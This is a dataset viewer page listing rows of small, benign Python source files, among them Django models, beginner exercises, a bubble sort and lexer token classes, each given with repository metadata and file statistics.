xszheng2020/the_stack_dedup_python_hits_4 · Datasets at Hugging Face

59040716d8c25f4fb41df2d02b1e2fadda0f085f

242

py

Python

openscraper/scraper/downloaders.py

thibault/OpenScraper

218aad63a71c8e653d5f23e598ce02654a820b4c

[ "MIT" ]

79

2018-03-07T11:15:37.000Z

2022-03-26T13:12:39.000Z

openscraper/scraper/downloaders.py

entrepreneur-interet-general/SocialConnect_openscrapper

7baa8a290f2ba35486ebd6517de87a8aca39bf43

[ "MIT" ]

62

2018-10-03T10:06:14.000Z

2022-03-02T14:54:30.000Z

openscraper/scraper/downloaders.py

entrepreneur-interet-general/SocialConnect_openscrapper

7baa8a290f2ba35486ebd6517de87a8aca39bf43

[ "MIT" ]

22

2018-03-08T10:20:13.000Z

2022-02-18T13:15:52.000Z

from scrapy.core.downloader.handlers.http import HttpDownloadHandler class HttpsDownloaderIgnoreCNError (HttpDownloadHandler) : def __init__(self, *args, **kwargs): super(HttpsDownloaderIgnoreCNError, self).__init__(*args, **kwargs)

30.25

69

0.797521

22

242

8.409091

0.727273

0.108108

0

0.099174

242

8

70

30.25

0.848624

0

1

0.25

false

0

0.25

0

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

4

591556d03972185690aa1399cebc2fb32dd367c7

75

py

Python

answer/a8_kurikaesi_for.py

breeze-shared-inc/python_training_01

7e918b37adbce062ae279f060bc25cfacda2fb85

[ "MIT" ]

null

answer/a8_kurikaesi_for.py

breeze-shared-inc/python_training_01

7e918b37adbce062ae279f060bc25cfacda2fb85

[ "MIT" ]

1

2020-05-11T04:59:04.000Z

2020-05-11T05:29:08.000Z

answer/a8_kurikaesi_for.py

bzgwhite/python_training_01

7e918b37adbce062ae279f060bc25cfacda2fb85

[ "MIT" ]

null

for i in range(11): print(i) for i in "pythonの世界へようこそ": print(i)

10.714286

26

0.6

13

75

3.461538

0.538462

0.177778

0.266667

0

0.036364

0.266667

75

6

27

12.5

0.781818

0

0.5

0

0.189189

0

1

0

false

0

0.5

1

0

null

0

1

0

1

0

null

0

1

0

4

591c9613b607e7397a24e6372e95027ee8072879

80

py

Python

ceph/datadog_checks/ceph/__init__.py

dvanderveer/integrations-core

41dd9950296455457c9b7342584153678503d5aa

[ "BSD-3-Clause" ]

2

2019-04-03T17:21:38.000Z

2020-02-04T16:28:05.000Z

ceph/datadog_checks/ceph/__init__.py

dvanderveer/integrations-core

41dd9950296455457c9b7342584153678503d5aa

[ "BSD-3-Clause" ]

10

2018-02-27T19:06:07.000Z

2021-08-30T03:23:26.000Z

ceph/datadog_checks/ceph/__init__.py

dvanderveer/integrations-core

41dd9950296455457c9b7342584153678503d5aa

[ "BSD-3-Clause" ]

6

2018-01-09T21:37:20.000Z

2020-05-26T09:28:09.000Z

from . import ceph Ceph = ceph.Ceph __version__ = "1.3.0" __all__ = ['ceph']

10

21

0.6375

12

80

3.583333

0.666667

0.55814

0

0.046875

0.2

80

7

22

11.428571

0.625

0

0.1125

0

1

0

false

0

0.25

0

0.25

0

1

0

null

1

0

1

0

null

0

4

591fd21b4e2335c1343f1e1be8ae27dc2497ad34

196

py

Python

djangocms_comments/urls.py

gruy/djangocms-comments

d66b2a13c2cd5e7a68ab241e319bee0929ad8f33

[ "MIT" ]

null

djangocms_comments/urls.py

gruy/djangocms-comments

d66b2a13c2cd5e7a68ab241e319bee0929ad8f33

[ "MIT" ]

null

djangocms_comments/urls.py

gruy/djangocms-comments

d66b2a13c2cd5e7a68ab241e319bee0929ad8f33

[ "MIT" ]

2

2020-07-10T13:15:43.000Z

2021-07-09T10:10:30.000Z

from django.conf.urls import * from djangocms_comments.views import SaveComment urlpatterns = [ url(r'^ajax/save_comment$', SaveComment.as_view(), name='djangocms_comments_save_comment'), ]

24.5

95

0.77551

25

196

5.84

0.72

0.232877

0

0.107143

196

7

96

28

0.834286

0

0.255102

0.158163

0

1

0

false

0

0.4

0

0.4

0

1

0

null

1

0

1

0

null

0

1

0

4

593dd80c86eaa599d16db81a2dca7135e77026e6

88

py

Python

codes_auto/174.dungeon-game.py

smartmark-pro/leetcode_record

6504b733d892a705571eb4eac836fb10e94e56db

[ "MIT" ]

null

codes_auto/174.dungeon-game.py

smartmark-pro/leetcode_record

6504b733d892a705571eb4eac836fb10e94e56db

[ "MIT" ]

null

codes_auto/174.dungeon-game.py

smartmark-pro/leetcode_record

6504b733d892a705571eb4eac836fb10e94e56db

[ "MIT" ]

null

# # @lc app=leetcode.cn id=174 lang=python3 # # [174] dungeon-game # None # @lc code=end

12.571429

41

0.659091

15

88

3.866667

0.866667

0

0.094595

0.159091

88

7

42

12.571429

0.689189

0.806818

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

4

3ca0d2452ab88fb954542eb7b01d7095ed8f90ec

155

py

Python

prognum.py

xyzpda/algorithm

b8a3e66214a836b1a6f6d2e3a086ed09d7f2ebc8

[ "MIT" ]

null

prognum.py

xyzpda/algorithm

b8a3e66214a836b1a6f6d2e3a086ed09d7f2ebc8

[ "MIT" ]

null

prognum.py

xyzpda/algorithm

b8a3e66214a836b1a6f6d2e3a086ed09d7f2ebc8

[ "MIT" ]

null

def fibonum(num): if num == 1: return 1 elif num == 2: return 1 else: return fibonum(num - 1) + fibonum(num - 2)

15.5

50

0.470968

21

155

3.47619

0.428571

0.410959

0

0.066667

0.419355

155

9

51

17.222222

0.744444

0

0.285714

0

1

0.142857

false

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

4

3cb726a27452f2f8057fbf7c3d9201ac8fa0d7d3

297

py

Python

Parte1/Cap5/exercicios/fase_life.py

fabianoflorentino/python-CursoIntensivoDePython

822288cc4b382936dde1bc647e3f8c2b925ced70

[ "Apache-2.0" ]

null

Parte1/Cap5/exercicios/fase_life.py

fabianoflorentino/python-CursoIntensivoDePython

822288cc4b382936dde1bc647e3f8c2b925ced70

[ "Apache-2.0" ]

null

Parte1/Cap5/exercicios/fase_life.py

fabianoflorentino/python-CursoIntensivoDePython

822288cc4b382936dde1bc647e3f8c2b925ced70

[ "Apache-2.0" ]

1

2020-02-05T13:07:08.000Z

age = int(input('What your age?: ')) if age <= 2: print('Is a baby!') elif age <= 4: print('You are a children!') elif age <= 13: print('You are a kid!') elif age <= 20: print('You are a teenager!') elif age <= 65: print('You are a adult!') else: print('You are a old!')

18.5625

36

0.558923

51

297

3.254902

0.470588

0.240964

0.331325

0.361446

0

0.036199

0.255892

297

15

37

19.8

0.714932

0

0.363636

0

1

0

false

0

0.461538

0

null

1

0

null

0

1

0

4

3cd5b78ec244387097f1945d44936c89938e88dd

675

py

Python

bxemu/strategy.py

phonegapX/bxemu

c78ba0db959f8f47e3db0ed94c210360b5c5f001

[ "MIT" ]

5

2020-04-08T23:21:22.000Z

2021-09-07T18:30:39.000Z

bxemu/strategy.py

phonegapX/bxemu

c78ba0db959f8f47e3db0ed94c210360b5c5f001

[ "MIT" ]

null

bxemu/strategy.py

phonegapX/bxemu

c78ba0db959f8f47e3db0ed94c210360b5c5f001

[ "MIT" ]

null

# -*- coding: utf-8 -*- from abc import ABCMeta, abstractmethod from six import with_metaclass class StrategyTemplate(with_metaclass(ABCMeta)): """ 策略模板 """ def __init__(self, pm): """Constructor""" self.pm = pm @abstractmethod def onInit(self): """初始化策略（必须由用户继承实现）""" pass @abstractmethod def onTick(self, tick): """收到行情TICK推送（必须由用户继承实现）""" pass @abstractmethod def onOrder(self, order): """收到委托变化推送（必须由用户继承实现）""" pass @abstractmethod def onTrade(self, trade): """收到成交推送（必须由用户继承实现）""" pass

19.852941

49

0.53037

58

675

6.068966

0.551724

0.193182

0.230114

0.255682

0

0.002262

0.345185

675

34

50

19.852941

0.794118

0.171852

0

0.470588

0

1

0.294118

false

0.235294

0.117647

0

0.470588

0

null

0

1

0

null

0

1

0

1

0

4

3cd9a846e303e63e3e9ff71aba07aff8ceda01f6

98

py

Python

cliente/admin.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

cliente/admin.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

cliente/admin.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

from django.contrib import admin from cliente.models import Cliente admin.site.register(Cliente)

19.6

34

0.836735

14

98

5.857143

0.642857

0

0.102041

98

4

35

24.5

0.931818

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

4

3cdc0ff56529bc2bb2d0bba55aa4eece615d34a5

371

py

Python

paymentwall/onetimetoken.py

bilabon/paymentwall-python

9ff7b71ab2cc2165664fb267a2a07657269e0c27

[ "MIT" ]

null

paymentwall/onetimetoken.py

bilabon/paymentwall-python

9ff7b71ab2cc2165664fb267a2a07657269e0c27

[ "MIT" ]

null

paymentwall/onetimetoken.py

bilabon/paymentwall-python

9ff7b71ab2cc2165664fb267a2a07657269e0c27

[ "MIT" ]

null

from paymentwall.apiobject import ApiObject class OneTimeToken(ApiObject): def __init__(self): super().__init__(self, obj='token') def get_token(self): return self.get_response()['token'] def is_active(self): return self.get_response()['active'] def get_expiration_time(self): return self.get_response()['expires_in']

23.1875

48

0.673854

45

371

5.2

0.466667

0.128205

0.179487

0.217949

0.320513

0

0.202156

371

15

49

24.733333

0.790541

0

0.070081

0

1

0.4

false

0

0.1

0.3

0.9

0

null

0

1

0

null

0

1

0

1

0

4

3ce6fcdedff075a1d440e7fa229170c58d2fc248

203

py

Python

SORTING/BubbleSort.py

uditmaherwal/Algorithms

b23ec432af28d54f149349c6e5beae7a6716ae17

[ "MIT" ]

1

2020-04-25T05:01:44.000Z

SORTING/BubbleSort.py

uditmaherwal/Algorithms

b23ec432af28d54f149349c6e5beae7a6716ae17

[ "MIT" ]

null

SORTING/BubbleSort.py

uditmaherwal/Algorithms

b23ec432af28d54f149349c6e5beae7a6716ae17

[ "MIT" ]

2

2020-03-05T16:35:08.000Z

2020-05-06T12:54:42.000Z

def bubblesort(array): length = len(array)-1 for i in range(length,0,-1): for j in range(i): if array[j] > array[j+1]: array[j],array[j+1]=array[j+1],array[j]

29

55

0.517241

35

203

3

0.371429

0.342857

0.2

0.342857

0.371429

0.304762

0

0.042553

0.305419

203

6

56

33.833333

0.702128

0

1

0.166667

false

0

0.166667

0

null

1

0

1

0

null

0

4

3cee5520618ff83a7e8c16bcfe3d4a9b98372365

475

py

Python

pricemoovtestapp/users/models.py

cterence/pricemoov-django-testapp

3e483ca5fae4e7766556bb9864ce29756b0fe004

[ "MIT" ]

null

pricemoovtestapp/users/models.py

cterence/pricemoov-django-testapp

3e483ca5fae4e7766556bb9864ce29756b0fe004

[ "MIT" ]

null

pricemoovtestapp/users/models.py

cterence/pricemoov-django-testapp

3e483ca5fae4e7766556bb9864ce29756b0fe004

[ "MIT" ]

null

from django.db import models class User(models.Model): id = models.AutoField(primary_key=True, blank=True) first_name = models.CharField(max_length=200) last_name = models.CharField(max_length=200) login = models.CharField(max_length=200, unique=True) password = models.CharField(max_length=200) email = models.EmailField(max_length=200, unique=True) job_title = models.CharField(max_length=200) is_admin = models.BooleanField(default=False)

39.583333

58

0.753684

66

475

5.257576

0.5

0.15562

0.207493

0.345821

0.504323

0.178674

0

0.04401

0.138947

475

12

59

39.583333

0.804401

0

1

0

false

0.1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

3cf0ab3db0d16e2cb1a24482520ea26cb8565754

308

py

Python

shop/serializer.py

threecoolcat/ThreeCoolCat

805f37b4cc68dce768356c0042663d0659abd6cb

[ "MIT" ]

6

2021-08-07T10:51:25.000Z

2022-02-25T04:59:02.000Z

shop/serializer.py

threecoolcat/ThreeCoolCat

805f37b4cc68dce768356c0042663d0659abd6cb

[ "MIT" ]

null

shop/serializer.py

threecoolcat/ThreeCoolCat

805f37b4cc68dce768356c0042663d0659abd6cb

[ "MIT" ]

2

2021-09-15T10:22:05.000Z

2022-01-19T07:12:04.000Z

from rest_framework import serializers from .models import Book, Video class BookSerializer(serializers.ModelSerializer): class Meta: model = Book fields = "__all__" class VideoSerializer(serializers.ModelSerializer): class Meta: model = Video fields = "__all__"

19.25

51

0.694805

30

308

6.833333

0.533333

0.253659

0.302439

0.341463

0.390244

0

0.24026

308

15

52

20.533333

0.876068

0

0.4

0

0.045603

0

1

0

false

0

0.2

0

0.6

0

null

1

0

null

0

1

0

4

3cf7bc4fa40d6542ac19a453420de15a63fb65d8

85

py

Python

test.py

Tesla2fox/rescuePathPlanning

1ea86d0ff8a8eab90fd73d2adef13fdd316b8e03

[ "MIT" ]

null

test.py

Tesla2fox/rescuePathPlanning

1ea86d0ff8a8eab90fd73d2adef13fdd316b8e03

[ "MIT" ]

null

test.py

Tesla2fox/rescuePathPlanning

1ea86d0ff8a8eab90fd73d2adef13fdd316b8e03

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Sat Sep 8 16:04:50 2018 @author: robot """

10.625

35

0.552941

14

85

3.357143

0.928571

0

0.181818

0.223529

85

7

36

12.142857

0.530303

0.870588

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

4

5959140f39a4fa6cf927de65804190fc8b59ee10

146

py

Python

pokemon/pagination.py

pessman/pokemon_utils

cbe06ebe323cb38a35846274d812bdbe8d0ae8ca

[ "MIT" ]

1

2019-03-11T04:12:50.000Z

pokemon/pagination.py

pessman/pokemon_utils

cbe06ebe323cb38a35846274d812bdbe8d0ae8ca

[ "MIT" ]

null

pokemon/pagination.py

pessman/pokemon_utils

cbe06ebe323cb38a35846274d812bdbe8d0ae8ca

[ "MIT" ]

2

2019-03-13T03:17:29.000Z

2019-04-04T20:06:50.000Z

from rest_framework.pagination import PageNumberPagination class PokemonPagination(PageNumberPagination): page_size_query_param = 'page_size'

36.5

58

0.863014

15

146

8.066667

0.8

0.132231

0

0.089041

146

4

59

36.5

0.909774

0

0.061224

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

59961a2a31d8cde9a4713988ae7cb5eade3cf20b

301

py

Python

nesi/devices/huawei/huawei_resources/__init__.py

inexio/NESi

920b23ccaf293733b4b571e4df27929c036257f7

[ "BSD-2-Clause" ]

30

2020-09-03T06:02:38.000Z

2022-03-11T16:34:18.000Z

nesi/huawei/huawei_resources/__init__.py

Tubbz-alt/NESi

0db169dd6378fbd097380280cc41440e652de19e

[ "BSD-2-Clause" ]

2

2021-01-15T10:33:23.000Z

2021-02-21T21:04:37.000Z

nesi/huawei/huawei_resources/__init__.py

Tubbz-alt/NESi

0db169dd6378fbd097380280cc41440e652de19e

[ "BSD-2-Clause" ]

3

2020-12-19T09:11:19.000Z

2022-02-07T22:15:34.000Z

__all__ = ["huawei_card", "huawei_vlan", "huawei_port_profile", "huawei_cpe_port", "huawei_cpe", "huawei_emu", "huawei_ont_port", "huawei_ont", "huawei_port", "huawei_subrack", "huawei_service_port", "huawei_service_vlan", "huawei_vlan_interface", "huawei_route", "huawei_user"]

75.25

110

0.714286

37

301

5.135135

0.378378

0.210526

0

0.129568

301

3

111

100.333333

0.725191

0

0.69103

0.069767

0

1

0

false

0

null

1

0

1

0

1

0

1

0

null

0

4

59aadaf765be449335580857d78e1f9f59deb1a1

124

py

Python

setup.py

jd-jones/seqtools

280e2fe1d8a925e03f436d73ff81ab638a4ce7b8

[ "MIT" ]

1

2020-11-19T17:00:18.000Z

setup.py

jd-jones/seqtools

280e2fe1d8a925e03f436d73ff81ab638a4ce7b8

[ "MIT" ]

null

setup.py

jd-jones/seqtools

280e2fe1d8a925e03f436d73ff81ab638a4ce7b8

[ "MIT" ]

null

from setuptools import setup, find_packages setup( name="seqtools", version='0.0', packages=find_packages(), )

15.5

43

0.685484

15

124

5.533333

0.666667

0.289157

0

0.019802

0.185484

124

7

44

17.714286

0.80198

0

0.08871

0

1

0

true

0

0.166667

0

0.166667

0

1

0

null

1

0

1

0

null

0

1

0

4

59e1662f961088ce685f224cdff5e65e9bb339d9

127

py

Python

resources/util/get_to_work.py

marrcio/relate-kanji

1f21892e546194c65f87b42ee45bee706b21ec92

[ "MIT" ]

null

resources/util/get_to_work.py

marrcio/relate-kanji

1f21892e546194c65f87b42ee45bee706b21ec92

[ "MIT" ]

null

resources/util/get_to_work.py

marrcio/relate-kanji

1f21892e546194c65f87b42ee45bee706b21ec92

[ "MIT" ]

null

import toolbox as tb from structures import IP, IS from statistics import Statistics from kanji import Kanji S = Statistics()

18.142857

33

0.80315

19

127

5.368421

0.578947

0

0.165354

127

6

34

21.166667

0.962264

0

1

0

false

0

0.8

0

0.8

0

1

0

null

0

1

0

null

0

1

0

1

0

4

aba6e5cfad9ea56b41475c553a7a5ac38e9f05b1

33

py

Python

test_apps/python_app/targets/tester/v93k_smt8.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

null

test_apps/python_app/targets/tester/v93k_smt8.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

127

2019-11-23T17:09:35.000Z

2021-09-02T11:06:20.000Z

test_apps/python_app/targets/tester/v93k_smt8.py

Origen-SDK/o2

5b0f9a6d113ddebc73c7ee224931e8b2d0301794

[ "MIT" ]

null

origen.tester.target("V93KSMT8")

16.5

32

0.787879

4

33

6.5

1

0

0.09375

0.030303

33

1

33

0.71875

0

0.242424

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

4

abb08b09252d0b7310697270abb089296b690ebd

547

py

Python

sampler/sampler_factory.py

zihaomu/HID_2020_baseline

c2c3705707695a969d24aa52c225aa3f85c7a4f3

[ "Apache-2.0" ]

34

2020-08-26T14:53:13.000Z

2021-09-26T12:41:55.000Z

sampler/sampler_factory.py

zihaomu/HID_2020_baseline

c2c3705707695a969d24aa52c225aa3f85c7a4f3

[ "Apache-2.0" ]

1

2020-10-10T14:29:25.000Z

2020-10-10T19:28:03.000Z

sampler/sampler_factory.py

zihaomu/HID_2020_baseline

c2c3705707695a969d24aa52c225aa3f85c7a4f3

[ "Apache-2.0" ]

7

2020-09-06T06:49:45.000Z

2022-03-11T11:13:39.000Z

from __future__ import absolute_import from __future__ import division from __future__ import print_function from torch.utils.data.sampler import BatchSampler from .weight import WeightSampler def get_batch(dataset, config): # (sampler, batch_size, drop_last): return None def get_weight(dataset, config): return WeightSampler(dataset, [config.train.batch_size.batch1, config.train.batch_size.batch2]) def get_sampler(dataset, config): f = globals().get('get_'+config.data.sampler) return f(dataset, config)

28.789474

100

0.758684

71

547

5.535211

0.408451

0.165394

0.122137

0.101781

0

0.00432

0.153565

547

19

101

28.789474

0.844492

0.060329

0

0.008081

0

1

0.25

false

0

0.416667

0.166667

0.916667

0.083333

0

null

0

null

0

1

0

1

0

4

abea3f2372e934f5ecbf25204f7d5291436cac6f

39

py

Python

grammar/builtin/open.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

grammar/builtin/open.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

grammar/builtin/open.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

f = open("test.txt") print(f.read())

7.8

20

0.564103

7

39

3.142857

0.857143

0

0.153846

39

4

21

9.75

0.666667

0

0.216216

0

1

0

false

0

0.5

1

0

null

0

1

0

null

0

1

0

4

2803910e18a5611f12adfccb15e5d0f3de3e8cea

65

py

Python

gstat_classroom/__main__.py

mmaelicke/gstat-classroom

f122e577e71c6dc0934b1cdee8b4353a351a8f39

[ "MIT" ]

null

gstat_classroom/__main__.py

mmaelicke/gstat-classroom

f122e577e71c6dc0934b1cdee8b4353a351a8f39

[ "MIT" ]

null

gstat_classroom/__main__.py

mmaelicke/gstat-classroom

f122e577e71c6dc0934b1cdee8b4353a351a8f39

[ "MIT" ]

null

from gstat_classroom.index import app app.run_server(debug=True)

21.666667

37

0.846154

11

65

4.818182

0.909091

0

0.076923

65

3

38

21.666667

0.883333

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

4

f9edcb681b730d6300437883521cfd5fb2dae46c

65

py

Python

vale/__init__.py

pyccel/vale

e8a85416668599730723ea49c41743f4e4b9a1bc

[ "MIT" ]

3

2017-06-06T11:13:09.000Z

2018-12-16T23:16:16.000Z

vale/__init__.py

pyccel/vale

e8a85416668599730723ea49c41743f4e4b9a1bc

[ "MIT" ]

null

vale/__init__.py

pyccel/vale

e8a85416668599730723ea49c41743f4e4b9a1bc

[ "MIT" ]

null

__version__ = 0.9 from .parser import * from .syntax import *

13

22

0.692308

9

65

4.555556

0.777778

0

0.039216

0.215385

65

4

23

16.25

0.764706

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

4

e646f59c9ee08ad2d45076dae8271b85a67a73d2

133

py

Python

ista/apps.py

barackmaund1/Istagram

ea88de3525aff4bf3df47c78794fb5a12d4298d5

[ "MIT" ]

null

ista/apps.py

barackmaund1/Istagram

ea88de3525aff4bf3df47c78794fb5a12d4298d5

[ "MIT" ]

5

2021-06-08T21:42:12.000Z

2022-03-12T00:33:00.000Z

ista/apps.py

barackmaund1/Instagram-clone

ea88de3525aff4bf3df47c78794fb5a12d4298d5

[ "MIT" ]

null

from django.apps import AppConfig class IstaConfig(AppConfig): name = 'ista' def ready(self): import users.signals

16.625

33

0.684211

16

133

5.6875

0.875

0

0.233083

133

7

34

19

0.892157

0

0.030075

0

1

0.2

false

0

0.4

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

0528e70223429c5ce396a55dbcb3e0654e5ba489

989

py

Python

libraries/website/tests/envs/test_envs_overview.py

justindujardin/mathy

776ac528d4586d6ea558a7212adb3559ea487a3c

[ "MIT" ]

95

2020-01-02T23:02:34.000Z

2022-03-08T18:57:24.000Z

libraries/website/tests/envs/test_envs_overview.py

justindujardin/mathy

776ac528d4586d6ea558a7212adb3559ea487a3c

[ "MIT" ]

44

2020-01-05T03:07:45.000Z

2021-08-11T20:45:53.000Z

libraries/website/tests/envs/test_envs_overview.py

justindujardin/mathy

776ac528d4586d6ea558a7212adb3559ea487a3c

[ "MIT" ]

5

2020-04-04T16:46:36.000Z

2022-03-30T08:10:02.000Z

def test_envs_overview_custom_problem_text(): from ...docs.snippets.envs import custom_problem_text # noqa def test_envs_overview_custom_win_conditions(): from ...docs.snippets.envs import custom_win_conditions # noqa def test_envs_overview_custom_timestep_rewards(): from ...docs.snippets.envs import custom_timestep_rewards # noqa def test_envs_overview_custom_episode_rewards(): from ...docs.snippets.envs import custom_episode_rewards # noqa def test_envs_overview_custom_actions(): from ...docs.snippets.envs import custom_actions # noqa def test_envs_overview_openai_gym(): from ...docs.snippets.envs import openai_gym # noqa def test_envs_overview_text_to_tree(): from ...docs.snippets.envs import text_to_tree # noqa def test_envs_overview_tree_to_list(): from ...docs.snippets.envs import tree_to_list # noqa def test_envs_overview_list_to_observations(): from ...docs.snippets.envs import lists_to_observations # noqa

28.257143

69

0.78362

140

989

5.114286

0.178571

0.087989

0.138268

0.238827

0.73324

0.424581

0.209497

0

0.134479

989

34

70

29.088235

0.836449

0.044489

0

1

0.5

true

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

4

0533638c06d1ca19e1db0606d3222e4e6b769419

140

py

Python

mars_insight/__init__.py

AlbertWigmore/mars-insight

cce0f503c951931f2512195fd66b716e17f918eb

[ "MIT" ]

null

mars_insight/__init__.py

AlbertWigmore/mars-insight

cce0f503c951931f2512195fd66b716e17f918eb

[ "MIT" ]

3

2020-12-05T19:45:37.000Z

2021-01-04T17:54:08.000Z

mars_insight/__init__.py

AlbertWigmore/mars-insight

cce0f503c951931f2512195fd66b716e17f918eb

[ "MIT" ]

null

""" Mars InSight Weather API Client """ from . import api from . import models __all__ = ['api', 'models', 'plot'] __version__ = '0.1.0'

15.555556

39

0.642857

19

140

4.315789

0.684211

0.243902

0

0.026316

0.185714

140

8

40

17.5

0.692982

0.221429

0

0.178218

0

1

0

false

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

4

053e15a294e1cee1a3b7a9c356c355203a4de876

142

py

Python

joalheria/tests/test_app.py

misakive/jewelry

e2501b1a4de2ff0096f798c484519d02ab727ebc

[ "MIT" ]

null

joalheria/tests/test_app.py

misakive/jewelry

e2501b1a4de2ff0096f798c484519d02ab727ebc

[ "MIT" ]

null

joalheria/tests/test_app.py

misakive/jewelry

e2501b1a4de2ff0096f798c484519d02ab727ebc

[ "MIT" ]

1

2021-05-14T13:25:04.000Z

def test_app_is_created(app): assert app.name == 'joalheria.app' def test_config_is_loaded(config): assert config["DEBUG"] is False

20.285714

38

0.732394

22

142

4.454545

0.545455

0.142857

0

0.15493

142

6

39

23.666667

0.816667

0

0.126761

0

0.5

1

0.5

false

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

4

0555f63316faa4d645f9d3db21e1b46b979c063c

3,990

py

Python

src/old/lexermod/cft_token.py

TeaCondemns/cofty

0228c8f0e85c8b977586cc88123e198c64953dcb

[ "Apache-2.0", "MIT" ]

1

2022-02-17T18:14:58.000Z

src/old/lexermod/cft_token.py

TeaCondemns/cofty

0228c8f0e85c8b977586cc88123e198c64953dcb

[ "Apache-2.0", "MIT" ]

2

2022-03-12T19:33:44.000Z

2022-03-13T11:14:12.000Z

src/old/lexermod/cft_token.py

TeaCondemns/cofty

0228c8f0e85c8b977586cc88123e198c64953dcb

[ "Apache-2.0", "MIT" ]

null

from copy import deepcopy from enum import Enum class TokenTypes(Enum): MAIN = -2 # temp token QUOTATION_MARK = -1 # temp token SKIP = 0 COMMENT = 1 OP = 2 NEWLINE = 3 ENDMARKER = 4 MISMATCH = 5 STRING = 6 NAME = 7 NUMBER = 8 TUPLE = 9 # <expression>, <expression> PARENTHESIS = 10 # (<expression>) SQUARE_BRACKETS = 11 # [<expression>] CURLY_BRACES = 12 # {<expression>} class TokenType: type: TokenTypes def __init__(self, t: TokenTypes): self.type = t def __eq__(self, other): if isinstance(other, TokenTypes): return self.type == other return self.type == other.type def __ne__(self, other): if isinstance(other, TokenTypes): return self.type != other return self.type != other.type def __str__(self): return f'TokenType(type={self.type.value} ({self.type.name}))' __repr__ = __str__ class DummyToken: type: TokenTypes value: str | list['Token'] | list[list['Token']] def __init__(self, t: TokenTypes | None, value: str | list['Token'] | list[list['Token']]): self.type = t self.value = value def __eq__(self, other): if not isinstance(other, TokenType | DummyToken | Token): return self.value == other if isinstance(other, TokenType): return self.type == other.type if self.type is None: return self.value == other.value return self.type == other.type and self.value == other.value def __ne__(self, other): if not isinstance(other, TokenType | DummyToken | Token): return self.value != other if isinstance(other, TokenType): return self.type != other.type if self.type is None: return self.value != other.value return self.type != other.type or self.value != other.value def __str__(self): return f'DummyToken(type={self.type.value} ({self.type.name}), value={repr(self.value)})' __repr__ = __str__ def copy(self): return deepcopy(self) class Token: type: TokenTypes value: str | list['Token'] | list[list['Token']] start: tuple[int, int, int] end: tuple[int, int] line: str def __init__( self, t: TokenTypes, value: str | list['Token'] | list[list['Token']], start: tuple[int, int, int], end: tuple[int, int], line: str ): self.type = t self.value = value self.start = start self.end = end self.line = line def __eq__(self, other): if isinstance(other, tuple | list): for o in other: if self != o: return False return True if not isinstance(other, TokenType | DummyToken | Token): return self.value == other if isinstance(other, TokenType): return self.type == other.type return self.type == other.type and self.value == other.value def __ne__(self, other): if isinstance(other, tuple | list): for o in other: if self == o: return False return True if not isinstance(other, TokenType | DummyToken | Token): return self.value != other if isinstance(other, TokenType): return self.type == other.type return self.type != other.type or self.value != other.value def __str__(self): return f'Token(type={self.type.value} ({self.type.name}), value={repr(self.value)}, start={self.start}, end={self.end}, line={repr(self.line)})' __repr__ = __str__ def copy(self): return deepcopy(self) __all__ = ( 'TokenTypes', 'TokenType', 'DummyToken', 'Token', )

25.576923

152

0.550125

457

3,990

4.630197

0.161926

0.086957

0.079395

0.10775

0.779773

0.744329

0.72259

0.689036

0.655009

0.632325

0

0.006813

0.337845

3,990

155

153

25.741935

0.794095

0.023308

0

0.553571

0

0.017857

0.087147

0.042674

0

1

0.125

false

0

0.017857

0.044643

0.651786

0

null

0

1

0

1

0

null

0

1

0

4

058bc82a17f551cd93a889a1e1ee2b7e93a76946

181

py

Python

apps/common/tests/test_models/test_address.py

yudame/prakti-api

9d00c1dd155f80839248e611e0d63b1c70041758

[ "Unlicense" ]

null

apps/common/tests/test_models/test_address.py

yudame/prakti-api

9d00c1dd155f80839248e611e0d63b1c70041758

[ "Unlicense" ]

null

apps/common/tests/test_models/test_address.py

yudame/prakti-api

9d00c1dd155f80839248e611e0d63b1c70041758

[ "Unlicense" ]

null

from django.test import TestCase from ..test_behaviors import TimestampableTest from ...models import Address class AddressTest(TimestampableTest, TestCase): model = Address

20.111111

47

0.801105

20

181

7.2

0.6

0

0.138122

181

8

48

22.625

0.923077

0

1

0

false

0

0.6

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

059312a8338980fbb29c06fa6cf2cab0e9b76a88

538,916

py

Python

Q12__/18_Longest_Arithmetic_Subsequence_of_Given_Difference/test.py

hsclinical/leetcode

48a57f6a5d5745199c5685cd2c8f5c4fa293e54a

[ "Apache-2.0" ]

null

Q12__/18_Longest_Arithmetic_Subsequence_of_Given_Difference/test.py

hsclinical/leetcode

48a57f6a5d5745199c5685cd2c8f5c4fa293e54a

[ "Apache-2.0" ]

null

Q12__/18_Longest_Arithmetic_Subsequence_of_Given_Difference/test.py

hsclinical/leetcode

48a57f6a5d5745199c5685cd2c8f5c4fa293e54a

[ "Apache-2.0" ]

null

